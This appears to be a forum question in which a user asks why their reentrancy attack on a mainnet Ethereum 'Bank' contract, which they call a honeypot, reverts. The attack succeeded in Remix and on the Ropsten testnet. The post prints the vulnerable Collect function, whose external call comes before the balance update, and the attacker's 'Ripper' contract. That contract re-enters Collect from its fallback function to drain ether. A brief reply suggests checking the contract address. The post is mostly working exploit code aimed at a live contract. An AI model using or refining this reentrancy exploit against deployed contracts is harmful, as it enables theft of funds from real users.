I was fullfilling a reentrancy attack on a contract. I tested it in remix VM first and later on with deployed contract on ropsten testnet. Both worked well without any errors. On the mainnet it turned out that the attack transaction always fails.
Here is an example of the Honeypot collecting function:
(contract Bank)
function Collect(uint _amount)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_amount)())
{
acc.balance-=_amount;
LogFile.AddMessage(msg.sender,_amount,"Collect");
}
}
}
Account object look like this:
(contract Bank)
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
My contract has put 1 ether to its account with this funtion:
(contract Bank)
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
(contract Ripper)
function Put() public payable {
bank_.Put.value(msg.value)(0);
}
I am starting the attack with the Collect function, that sends me 1 ether:
(contract Ripper)
// DATASET
Bank private bank_ = Bank(0x...);
function Collect() public {
bank_.Collect(1 ether);
}
The Bank contract will send me 1 ether, so its now possible to start the attack with my contracts fallback funtion:
(contract Ripper)
function() payable public {
if (address(bank_).balance >= msg.value) {
bank_.Collect(1 ether);
}
}
After transaction execution the tx fails with standard error: Warning! Error encountered during contract execution [Reverted]
[]1
Do you have any clue why its working in Remix VM and on Ropsten testnet, but not on mainnet?
Bank private bank_ = Bank(0x...);
. Have you made sure to use the correct address when executing your transaction on mainnet?